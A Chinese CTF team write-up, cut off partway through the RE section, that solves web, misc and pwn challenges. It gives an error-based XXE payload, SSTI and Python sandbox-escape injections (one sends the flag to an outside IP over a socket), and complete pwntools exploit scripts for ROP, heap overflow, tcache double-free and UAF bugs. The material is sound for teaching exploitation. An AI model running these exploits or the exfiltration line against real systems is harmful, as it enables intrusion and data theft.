F12查看源码发现一个文件名奇怪的js,功能是定时发送请求.
请求内容比较奇怪,猜测就是考点,xxe了.
随便改了下xml,就发生500报错.
尝试了下常见的payload,猜测逻辑,如果xml合法则无返回,xml异常则500报错.
网上翻相关资料,找到关键点
exploiting-xxe-with-local-dtd-files
文章里给的payload
文件不存在,那就找一个linux系统默认存在的,直接去linux全局文件搜索
找一个可以用的,报错xxe成功获取flag
最终payload如下
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % condition 'aaa)> aaa)> <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
随便测试了一下,发现[[9*9]]中的内容被执行了输出了49.
搭配题目名字render,SSTI没跑了.
网上搜索发现了几个可用的payload
https://www.4hou.com/vulnerable/9779.html
[[${T(java.lang.System).getenv()}]]
执行命令:
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
但是没有回显,测试了nc,curl,wget
都弹不出来.不熟悉java.
然后队内师傅提醒下,直接读文件.
[[${new [java.io](qq://txfile/#).BufferedReader(new [java.io](qq://txfile/#).FileReader("/flag")).readLine()}]]
常见套路
from pwn import * flagkey="1234567890qwertyuiopasdfghjklzxcvbnm{}-_" flag='' def conn (): global r r = remote("139.9.222.76",19999) r.recv() #r.sendline("1"*pad) return r def cut_text(text,lenth): textArr = re.findall('.{'+str(lenth)+'}', text) textArr.append(text[(len(textArr)*lenth):]) return textArr def get(conn,s): conn.sendline('des '+s) return cut_text(conn.recv(),16)[:-1] def fuck(): r = conn() f = 'flag{c0' for k in range(1,5): pad = 0 for j in range(8): padding='0'*(8-pad) stand = get(r,padding)[k] for i in flagkey: stand2 = get(r,padding+f+i)[k] if stand == stand2: pad = pad + 1 f = f + i print f break fuck() #flag{c0ngratul4tions_1_y0uve_chec7ed_1n_ogeek}
绕过思路和ciscn的一样,就是没回显
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep 4')
那就弹,又是nv,curl,wget
都试一遍,无果
看提示,cut,sleep,那就是时间盲注了
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('sleep $(ca'+'t /home/flag|cut -c1|tr f 4)')
但是tr被过滤了
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("export str=\tac /home/flag `;str=${str:0:1};str=${str/f/2} && sleep $str ") `
又是队内大佬提醒
s = __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('socket').__getattribute__('socket')() s.connect(('111.111.111.111', 11111)) p = __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('popen')('cut -c 1-64 flag') s.send(p.read())
我感觉这是非预期解了
百度一下oppo cattch,原来是个手机的宣传语
填入手机型号,flag为flag{Reno}
图片有lsb隐写
得到字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==
先base64再base85得到flag
PWN
babyrop
签到题。
靶机环境是32位的glibc-2.23。
int __cdecl check(int random)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[32]; // [esp+2Ch] [ebp-2Ch]
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", random);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
由于check使用的是read函数,则我们可以直接输入开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功。
void __cdecl vul(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
read(0, buf, 200u);
else
read(0, buf, a1);
}
之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP。
脚本:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './babyrop'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.112.137.238', 13337)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x080487FF
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
# pause()
sh.sendline('' + '\xff' * 18)
sh.recvuntil('Correct\n')
sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200))
result = sh.recvuntil('\n')[:-1]
libc_addr = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next()))
sh.interactive()
clear()
book manager
第二道签到题,靶机环境是glibc-2.23。
内置一大堆漏洞,这里我用最简单的heap overflow。
在Add_text功能中,size的大小是由用户决定的。
v6 = get_int();
if ( v6 <= 256 )
{
v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL));
*(_QWORD *)(v2 + 32) = malloc(v6);
printf("\nText:");
read_n(&s, 0x100u);
v3 = strlen(&s);
memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
}
else
{
printf("\nToo many");
}
但是在Update功能中,其输入的大小指定为255,直接导致heap overflow。
printf("\nNew Text:");
read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (v6 + 4LL)) + 32LL), 255u);
printf("\nUpdated", 255LL);
return;
而且由于Text结构的输入没有null截断,我们可以直接泄露libc地址。
思路:
泄露libc地址
Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')
Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()
sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
劫持Text结构体
因为劫持Text结构体更简单,而且可以实现任意地址读写,我们只需要提前布置好heap 结构就行。
Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh'.ljust(0x60, '') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '') + p64(libc_addr + libc.symbols['__free_hook']))
劫持hook
Update('dddd\n', p64(libc_addr + libc.symbols['system']))
Remove_text('cccc\n')
sh.interactive()
脚本:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './bookmanager'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.112.115.30', 13337)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x134A)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Add_chapter(c_name):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Chapter name:', c_name)
def Add_section(c_name, s_name):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Which chapter do you want to add into:', c_name)
sh.sendafter('Section name:', s_name)
def Add_text(s_name, size, text):
sh.sendlineafter('Your choice:', '3')
sh.sendafter('Which section do you want to add into:', s_name)
sh.sendlineafter('How many chapters you want to write:', str(size))
sh.sendafter('Text:', text)
def Remove_text(s_name):
sh.sendlineafter('Your choice:', '6')
sh.sendafter('Section name:', s_name)
def Book_preview():
sh.sendlineafter('Your choice:', '7')
def Update(s_name, text):
sh.sendlineafter('Your choice:', '8')
sh.sendlineafter('hat to update?(Chapter/Section/Text):', 'Text')
sh.sendafter('Section name:', s_name)
sh.sendafter('New Text:', text)
sh.recvuntil('Name of the book you want to create: ')
sh.send('a' * 30)
Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')
Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()
sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh'.ljust(0x60, '') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '') + p64(libc_addr + libc.symbols['__free_hook']))
Update('dddd\n', p64(libc_addr + libc.symbols['system']))
Remove_text('cccc\n')
sh.interactive()
clear()
hub
靶机环境是glibc-2.27。
要是能开启PIE并且使用glibc-2.23.so的话,相信能成为更优质的挑战。
溢出点
程序流还是非常清晰明了的。
__int64 __fastcall main_function(char *a1)
{
__int64 result; // rax
signed int v2; // eax
char *ptr; // ST28_8
unsigned int v4; // [rsp+8h] [rbp-28h]
unsigned int size; // [rsp+14h] [rbp-1Ch]
char *malloc_ptr; // [rsp+18h] [rbp-18h]
char *ptr_array; // [rsp+20h] [rbp-10h]
v4 = 39;
malloc_ptr = 0LL;
ptr_array = 0LL;
while ( 1 )
{
result = v4--;
if ( !(_DWORD)result )
break;
menu();
v2 = get_int();
if ( v2 == 2 )
{
puts("Which hub don't you want?");
ptr = &ptr_array[(signed int)get_int()];
free(ptr);
if ( malloc_ptr == ptr )
malloc_ptr = 0LL;
}
else if ( v2 > 2 )
{
if ( v2 == 3 )
{
puts("What do you want?");
read(0, malloc_ptr, 8uLL);
}
else if ( v2 == 4 )
{
puts("Bye");
exit(0);
}
}
else if ( v2 == 1 )
{
puts("How long will you stay?");
size = get_int();
if ( size > 0x400 )
malloc_ptr = 0LL;
else
malloc_ptr = (char *)malloc(size);
if ( !malloc_ptr )
{
puts("Malloc faild");
exit(-1);
}
ptr_array = malloc_ptr;
}
}
return result;
}
在Free功能中,虽然将malloc_ptr置为0,但是并没有将ptr_array置为0,则我们可以直接输入index为0,这样会直接导致double free。
思路
修改stdout结构体为了泄露地址信息
一般在有PIE的情况下,我们需要利用chunk残余的fd和bk来对stdout的地址进行爆破,但是这里没有PIE,而且stdout的地址就在bss段上,我们可以直接利用tcache attack进行控制。然后修改stdout->_flags。
Malloc(0x18)
Free(0)
Free(0)
Malloc(0x18)
Write(p64(elf.symbols['stdout']))
Malloc(0x18)
Malloc(0x18)
Malloc(0x18)
Write(p64(0xfbad2887 + 0x1000))
奈何一次只能写入8 byte,而且修改stdout地址的话,调用printf函数时会发生阻塞现象,所以我们只能爆破对程序基本没有影响的stderr的地址了,下面的代码功能就是爆破bss段的stderr的地址的低二位字节,使其指向stdout->_IO_write_base的地址,这里是1/16的几率。
Malloc(0x28)
Free(0)
Free(0)
Malloc(0x28)
Write(p64(elf.symbols['stderr']))
Malloc(0x28)
Malloc(0x28)
Write(p16(0x0780))
之后将地址指向我们要泄露的信息,通过调试可得:
pwndbg> p stdout->_IO_write_base
$1 = 0x7fa8627a27e3 <_IO_2_1_stdout_+131> "\n"
pwndbg> x/8gx 0x7fa8627a27b0
0x7fa8627a27b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7fa8627a27c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007fa8627a1a00
0x7fa8627a27d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7fa8627a27e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007fa8627a38c0
pwndbg> x/gx 0x00007fa8627a1a00
0x7fa8627a1a00 <_IO_2_1_stdin_>: 0x00000000fbad208b
在stdout->_IO_write_base地址的低位字节为0xc8的时候,可以泄露_IO_2_1_stdin_的地址,所以对于的修改脚本如下:
Malloc(0x38)
Free(0)
Free(0)
Malloc(0x38)
Write(p64(elf.symbols['stderr']))
Malloc(0x38)
Malloc(0x38)
Malloc(0x38)
Write(p8(0xc8))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
劫持hook
直接用tcache的double free即可。
Malloc(0x48)
Free(0)
Free(0)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['__free_hook']))
Malloc(0x48)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['system']))
Malloc(0x58)
Write('/bin/sh')
Free(0)
sh.interactive()
脚本
几率为1/16。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './hub_2bcab892e2e5b54edbef4ccecd6f373f'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('47.112.139.218', 13132)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x400A33
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Malloc(size):
sh.sendlineafter('>>', '1')
sh.sendlineafter('How long will you stay?\n', str(size))
def Free(hub):
sh.sendlineafter('>>', '2aaaaaaaa')
sh.sendlineafter('Which hub don\'t you want?', str(hub))
def Write(content):
sh.sendlineafter('>>', '3')
sh.sendafter('What do you want?\n', content)
Malloc(0x18)
Free(0)
Free(0)
Malloc(0x18)
Write(p64(elf.symbols['stdout']))
Malloc(0x18)
Malloc(0x18)
Malloc(0x18)
Write(p64(0xfbad2887 + 0x1000))
Malloc(0x28)
Free(0)
Free(0)
Malloc(0x28)
Write(p64(elf.symbols['stderr']))
Malloc(0x28)
Malloc(0x28)
Write(p16(0x0780))
Malloc(0x38)
Free(0)
Free(0)
Malloc(0x38)
Write(p64(elf.symbols['stderr']))
Malloc(0x38)
Malloc(0x38)
Malloc(0x38)
Write(p8(0xc8))
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
Malloc(0x48)
Free(0)
Free(0)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['__free_hook']))
Malloc(0x48)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['system']))
Malloc(0x58)
Write('/bin/sh')
Free(0)
sh.interactive()
clear()
0 day manager
靶机环境是glibc-2.27。
其实漏洞非常简单,只不过其中大量的结构体一开始就吓跑了很多人,刚开始看到这么复杂的结构体我自己也吓了一跳,但是随着仔细的分析,程序慢慢变得简单。
下面是程序要用到的结构体:
typedef struct Link{
struct Link *next;
void *ptr;
}Link;
typedef struct Node{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Node;
typedef struct leak{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
char offset[8];
}leak;
typedef struct Memory{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Memory;
typedef struct Logic{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
void *field_20;
void *field_28;
}Logic;
typedef struct Container{
void *array[6];
}Container;
typedef struct Control{
int field_0;
int field_4;
Container *con;
}Control;
溢出点
这是我乱打payload无意间发现的,下面是我的payload:
1
3
90
fjsdosii
90
jfois
4
3
0
2
3
分析了Handle功能之后,发现其三个结构都有一个致命的UAF漏洞。
在Handle功能中,处理的数目是由用户来确定的,但是当number为0时,悲剧就发生了。
printf("How many you want to handle in?");
number = get_int();
_number = number;
这里我举Logic为例,也就是type为2时,在Handle功能中,当number为0时,则下面的代码会直接跳过,这里原本是由v17来刷新this_control->con->array[2]结构的指针,number为0时,就什么也不做了,直接跳出,造成了UAF。
v17 = this_control->con->array[2];
while ( v17 )
{
v7 = number--;
if ( !v7 )
break;
v8 = v17;
v17 = v17->next;
free(v8);
}
this_control->con->array[2] = v17;
思路
由于源程序代码复杂功能简单,所以脚本我也就写的简单一点。
利用 UAF 漏洞,泄露 unsorted bin 的信息,从而计算libc地址
_sendline('1')
_sendline('3')
_sendline(str(0x58))
_sendline('1')
_sendline(str(0x418)) # unsorted bin
_sendline('1')
_sendline('4')
_sendline('3')
_sendline('0')
# show
_sendline('2')
_sendline('3')
sh.recvuntil('note :')
sh.recvuntil('note :')
result = sh.recvn(8)
main_arena_addr = u64(result) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
调试结果如下:
pwndbg> pr
$1 = {
array = {0x0, 0x0, 0x55af914eb780, 0x0, 0x0, 0x0}
}
pwndbg> prlo
$2 = {
next = 0x0,
ptr = 0x55af914eb2c0
}
$3 = {
type = 0,
data_size = 0,
data = 0x55af914eb300 "",
note_size = 1048,
field_14 = 0,
note = 0x55af914eb360 "\240\314Æ\302\177",
field_20 = 0x0,
field_28 = 0x0
}
pwndbg> x/4gx 0x55af914eb360
0x55af914eb360: 0x00007fc286c3cca0 0x00007fc286c3cca0
0x55af914eb370: 0x0000000000000000 0x0000000000000000
pwndbg> x/gx 0x00007fc286c3cca0
0x7fc286c3cca0 <main_arena+96>: 0x000055af914eb790
绕过tcache
由于使用的calloc函数,它不会从tcache里面拿chunk,所以我们必须要先绕过tcache,方法也很简单,就是不停的free就行。
_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('4')
_sendline('2')
_sendline('0')
调试结果如下:
pwndbg> bin
tcachebins
0x40 [ 5]: 0x55bf06037360 ◂— 0x55bf06037360
0x60 [ 1]: 0x55bf06037300 ◂— 0x0
0x70 [ 7]: 0x55bf060373a0 —▸ 0x55bf06037470 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55bf06037470 —▸ 0x55bf06037400 —▸ 0x55bf06037390 ◂— 0x55bf06037470
0x80: 0x0
unsortedbin
all: 0x55bf06037500 —▸ 0x7f86df21cca0 (main_arena+96) ◂— 0x55bf06037500
smallbins
empty
largebins
empty
可以看到fastbin已经double free了。
劫持hook
这里需要进行利用realloc来进行栈调整,才能执行one gadget。
_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline(p64(main_arena_addr - 0x33))
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()
_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))
_sendline(str(0x68))
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct Link{
struct Link *next;
void *ptr;
}Link;
Link *no_use1;
typedef struct Node{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Node;
Node *no_use2;
typedef struct leak{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
char offset[8];
}leak;
leak *no_use3;
typedef struct Memory{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Memory;
Memory *no_use4;
typedef struct Logic{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
void *field_20;
void *field_28;
}Logic;
Logic *no_use5;
typedef struct Container{
void *array[6];
}Container;
Container *no_use6;
typedef struct Control{
int field_0;
int field_4;
Container *con;
}Control;
Control *no_use7;
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './0day_manage'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('47.112.137.133', 12345)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
set $p = *(Control **)$rebase(0x203050)
define pr
p *$p->con
end
define prl
set $t= (Link *)(*$p->con).array[0]
p *$t
p *(leak *)$t->ptr
end
define prm
set $t= (Link *)(*$p->con).array[1]
p *$t
p *(Memory *)$t->ptr
end
define prlo
set $t= (Link *)(*$p->con).array[2]
p *$t
p *(Logic *)$t->ptr
end
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def _sendline(str):
sh.sendline(str)
# time.sleep(0.5)
_sendline('1')
_sendline('3')
_sendline(str(0x58))
_sendline('1')
_sendline(str(0x418)) # unsorted bin
_sendline('1')
_sendline('4')
_sendline('3')
_sendline('0')
# show
_sendline('2')
_sendline('3')
sh.recvuntil('note :')
sh.recvuntil('note :')
result = sh.recvn(8)
main_arena_addr = u64(result) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('4')
_sendline('2')
_sendline('0')
_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline(p64(main_arena_addr - 0x33))
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()
_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))
_sendline(str(0x68))
sh.interactive()
clear()
RE
babyre
题目给了一个压缩程序,但是没有相对应的解压程序,还给了一个压缩过的文件,要求我们根据分析压缩程序的算法写出相对应的解压程序即可。
根据IDA还原的算法源码:
// gcc -s -O3 compress.c -o compress
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct out_container
{
FILE *out_fp;
int field_8;
int field_C;
int amount;
} out_container;
void push_one_bit(out_container *a1, int a2)
{
int v2; // ebx
if (a2)
*(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);
*(unsigned char *)&(a1->field_C) >>= 1;
if (!*(unsigned char *)&(a1->field_C))
{
v2 = a1->field_8;
if (v2 == _IO_putc(a1->field_8, a1->out_fp))
++a1->amount;
else
puts("write fail.");
a1->field_8 = 0;
*(unsigned char *)&(a1->field_C) = 0x80u;
}
}
#define _WORD short
void push_n_bits(out_container *a1, size_t a2, char a3)
{
int v3; // ebx
unsigned i; // [rsp+28h] [rbp-18h]
for (i = 1 << (a3 - 1); i; i >>= 1)
{
if (a2 & i)
*(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);
*(unsigned char *)&(a1->field_C) >>= 1;
if (!*(unsigned char *)&(a1->field_C))
{
v3 = a1->field_8;
if (v3 == _IO_putc(a1->field_8, a1->out_fp))
++a1->amount;
else
puts("write fail.");
a1->field_8 = 0;
*(unsigned char *)&(a1->field_C) = -128;
}
}
}
void compress(_IO_FILE *in_fp, out_container *out)
{
signed int i; // [rsp+1Ch] [rbp-24h]
signed int j; // [rsp+1Ch] [rbp-24h]
signed int k; // [rsp+1Ch] [rbp-24h]
int l; // [rsp+1Ch] [rbp-24h]
signed int m; // [rsp+20h] [rbp-20h]
signed int v7; // [rsp+24h] [rbp-1Ch]
int v8; // [rsp+28h] [rbp-18h]
signed int v9; // [rsp+2Ch] [rbp-14h]
